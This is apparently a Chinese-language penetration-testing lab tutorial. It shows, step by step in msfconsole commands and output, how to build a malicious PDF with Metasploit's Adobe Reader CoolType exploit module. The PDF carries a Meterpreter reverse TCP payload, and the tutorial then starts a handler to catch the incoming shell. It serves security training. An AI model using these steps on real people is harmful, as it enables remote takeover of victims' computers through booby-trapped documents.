引言
在本实验中,你将使用 Metasploit Framework 创建一个恶意的 PDF 文件,深入了解客户端攻击。客户端攻击针对用户计算机上的应用程序漏洞,例如网页浏览器、媒体播放器或文档查看器。
PDF 文件是这些攻击的常见载体,因为它们被广泛使用且用户通常信任它们。通过将恶意代码(payload)嵌入看似无害的 PDF 中,攻击者可以在易受攻击的 PDF 阅读器打开文件时,获得对受害者系统的控制权。
你将学习如何选择特定的 exploit,使用 payload 配置它,生成恶意文件,并设置一个 listener 来处理来自受损系统的连接。本实验提供了对这类攻击如何构建的基础理解。
选择 exploit/windows/fileformat/adobe_cooltype_sing 模块
在此步骤中,你将启动 Metasploit Framework 控制台并选择用于创建恶意 PDF 的相应 exploit 模块。Metasploit Framework 是一个强大的渗透测试工具,其控制台 msfconsole 是与之交互的主要界面。
首先,打开一个终端并启动 Metasploit 控制台。这可能需要一些时间来初始化。
msfconsole -q
-q 标志会抑制 banner,以便更快地启动。加载完成后,你将看到 msf6 > 提示符。
我们将使用一个针对 Adobe Reader 中已知漏洞的 exploit。该模块名为 exploit/windows/fileformat/adobe_cooltype_sing。使用 use 命令加载此模块。
use exploit/windows/fileformat/adobe_cooltype_sing
执行命令后,你将注意到命令提示符已更改,以反映当前加载的模块。
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >
这确认了该模块现在已激活并准备好进行配置。
为输出的 PDF 设置 FILENAME 选项
在此步骤中,你将配置所选 exploit 模块的选项。每个模块都有一组可以自定义的选项。要查看当前模块的可用选项,请使用 show options 命令。
show options
此命令将显示一个可设置的参数表,例如输出文件的文件名和 payload 设置。
Module options (exploit/windows/fileformat/adobe_cooltype_sing):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
...
Payload options (generic/shell_reverse_tcp):
...
我们需要设置 FILENAME 选项来指定我们恶意 PDF 文件的名称。我们将它命名为 malicious.pdf。使用 set 命令来分配此值。
set FILENAME malicious.pdf
你可以再次运行 show options 来验证 FILENAME 是否已成功更新。
FILENAME malicious.pdf yes The file name.
配置带有 LHOST 和 LPORT 的 reverse_tcp payload
在此步骤中,你将配置 payload。Payload 是在 exploit 成功后将在目标系统上执行的代码。我们将使用 reverse_tcp payload,它会强制受害者机器连接回我们的机器。
首先,将 payload 设置为 windows/meterpreter/reverse_tcp。Meterpreter 是一个高级的、动态可扩展的 payload,它提供了比标准 shell 更多的功能。
set payload windows/meterpreter/reverse_tcp
接下来,我们需要配置 payload 的选项:LHOST 和 LPORT。
LHOST: 这是“监听主机”(Listening Host),即你的机器的 IP 地址。受害者机器将连接回此 IP。LPORT: 这是“监听端口”(Listening Port),是你机器上将监听连接的端口。
要查找你的机器的 IP 地址,你可以打开一个新的终端标签页并运行 ip a 命令。查找与 eth0 接口关联的 IP 地址。
ip a
现在,将 LHOST 设置为你的 IP 地址(将 YOUR_IP_ADDRESS 替换为实际 IP),并将 LPORT 设置为一个常用端口,例如 4444。
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
再运行一次 show options 来确认所有设置是否正确。你应该能看到你已配置的 FILENAME、PAYLOAD、LHOST 和 LPORT。
生成恶意 PDF 文件
在此步骤中,所有选项都已配置完毕,你已准备好生成恶意 PDF 文件。exploit 命令(或其别名 run)会将 exploit 和 payload 组装成最终文件。
在你的 msfconsole 窗口中执行 exploit 命令。
exploit
Metasploit 现在将创建 PDF 文件。输出将显示该过程,最重要的是,文件已保存在何处。
[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf
文件现已创建。在实际场景中,攻击者会将此文件发送给目标,例如作为电子邮件附件。你可以使用新终端中的 ls 命令来验证其是否存在。
ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf
在 msfconsole 中设置 handler 以接收 shell
在此步骤中,你将设置一个监听器(也称为 handler),用于在恶意 PDF 被打开时“接收”来自受害者机器的传入连接。如果没有 handler,payload 将无处连接。
我们将使用 exploit/multi/handler 模块,这是一个通用的监听器。
use exploit/multi/handler
现在,你必须使用与嵌入 PDF 文件中完全相同的 payload 和选项(LHOST 和 LPORT)来配置此 handler。这对于连接成功至关重要。
set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
请记住再次将 YOUR_IP_ADDRESS 替换为你的机器的 IP 地址。
配置好 handler 后,使用 exploit -j 命令运行它。-j 标志会将 handler 作为后台作业运行,这样在监听器激活时,你的 msfconsole 提示符仍然可用以执行其他命令。
exploit -j
你将看到一个 handler 已启动的确认信息。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444
handler 现在正在监听连接。在此实验中,我们不会模拟受害者打开文件,但你的设置已完成。你已成功创建了一个恶意文件,并准备了一个监听器来处理反向 shell。
总结
在此实验中,你已成功完成了使用 Metasploit Framework 为客户端攻击创建恶意 PDF 的基本步骤。
你学会了如何:
- 启动 Metasploit 控制台并选择合适的 exploit 模块。
- 配置 exploit 选项,例如输出文件名。
- 选择并配置一个 payload(
windows/meterpreter/reverse_tcp),包含必要的LHOST和LPORT参数。 - 生成最终的恶意 PDF 文件。
- 设置并运行一个 handler(
exploit/multi/handler)来监听并接收来自受损系统的传入连接。
本次练习提供了对常见攻击向量背后机制的实践理解,并强调了保持软件(尤其是文档阅读器)更新以防范此类漏洞的重要性。


